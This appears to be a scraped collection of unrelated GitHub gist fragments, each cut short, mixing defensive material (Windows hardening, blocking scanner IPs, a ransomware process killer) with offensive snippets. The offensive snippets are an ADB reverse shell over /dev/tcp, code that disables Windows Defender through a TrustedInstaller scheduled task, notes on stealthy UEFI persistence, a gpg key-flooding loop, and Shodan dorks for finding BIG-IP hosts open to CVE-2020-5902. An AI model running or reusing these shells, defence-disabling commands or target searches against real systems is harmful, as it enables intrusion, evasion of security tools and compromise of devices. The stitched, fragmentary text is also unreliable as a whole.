mackwage

:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering. 
:: Obligatory 'views are my own'. :) 
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key! 
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:

wdormann

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy]
"Disabled"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager]
"SubscribedContent-338388Enabled"=dword:00000000

jgamblin

#!/usr/bin/python3
import os

shodan = ["104.131.0.69", "104.236.198.48", "155.94.222.12","155.94.254.133", "155.94.254.143", "162.159.244.38", "185.181.102.18", "188.138.9.50", "198.20.69.74", "198.20.69.98", "198.20.70.114", "198.20.87.98", "198.20.99.130", "208.180.20.97", "209.126.110.38",  "216.117.2.180", "66.240.192.138", "66.240.219.146", "66.240.236.119", "71.6.135.131", "71.6.146.185", "71.6.158.166", "71.6.165.200", "71.6.167.142",  "82.221.105.6", "82.221.105.7", "85.25.103.50", "85.25.43.94", "93.120.27.62", "98.143.148.107",  "98.143.148.135"]

for ip in shodan:
    os.system("iptables -A INPUT -s {} -j DROP".format(ip))

CJFWeatherhead

##Get New Exit Node list ever 6 Hours
57 */6 * * * `curl https://check.torproject.org/cgi-bin/TorBulkExitList.py\?ip\=<yourip> | awk '{print $0" TOREX;"}' > /etc/nginx/includes/torexit.ips && service nginx restart`

random-robbie

#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie 
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"

lukateras

for _ in {1..500}; do 
  for _ in {1..100}; do
    gpg --gen-key --batch keygen
    gpg --quick-sign-key -u Marc EC18257DB21746FC711054BEB19C61D61333360C
    rm ~/.gnupg/private-keys-v1.d/*.key
  done

  rm ~/.gnupg/openpgp-revocs.d/*.rev

  gpg -a --export > ~/Desktop/keyblock.asc

thomaspatzke

# Ransomware Killer v0.1 by Thomas Patzke <thomas@patzke.org>
# Kill all parent processes of the command that tries to run "vssadmin Delete Shadows"
# IMPORTANT: This must run with Administrator privileges!
Register-WmiEvent -Query "select * from __instancecreationevent within 0.1 where targetinstance isa 'win32_process' and targetinstance.CommandLine like '%vssadmin%Delete%Shadows%'" -Action {
    # Kill all parent processes from detected vssadmin process
    $p = $EventArgs.NewEvent.TargetInstance
    while ($p) {
       $ppid = $p.ParentProcessID
        $pp = Get-WmiObject -Class Win32_Process -Filter "ProcessID=$ppid"
        Write-Host $p.ProcessID

jthuraisamy

GospelRoom: Data Storage in UEFI NVRAM Variables

Behaviour

Persist data in UEFI NVRAM variables.

Benefits

1. Stealthy way to store secrets and other data in UEFI.
2. Will survive a reimaging of the operating system.

tyranid

$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()

$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')

cihanmehmet

🚨BIGIP CVE-2020-5902 Exploit POC 🔥🧱🔨👀

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Shodan Seaarch

title:"Big-IP®" org:"Organization Name"
http.title:"BIG-IP®- Redirect" org:"Organization Name"
http.favicon.hash:-335242539 "3992" org:"Organization Name"

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🔸LFI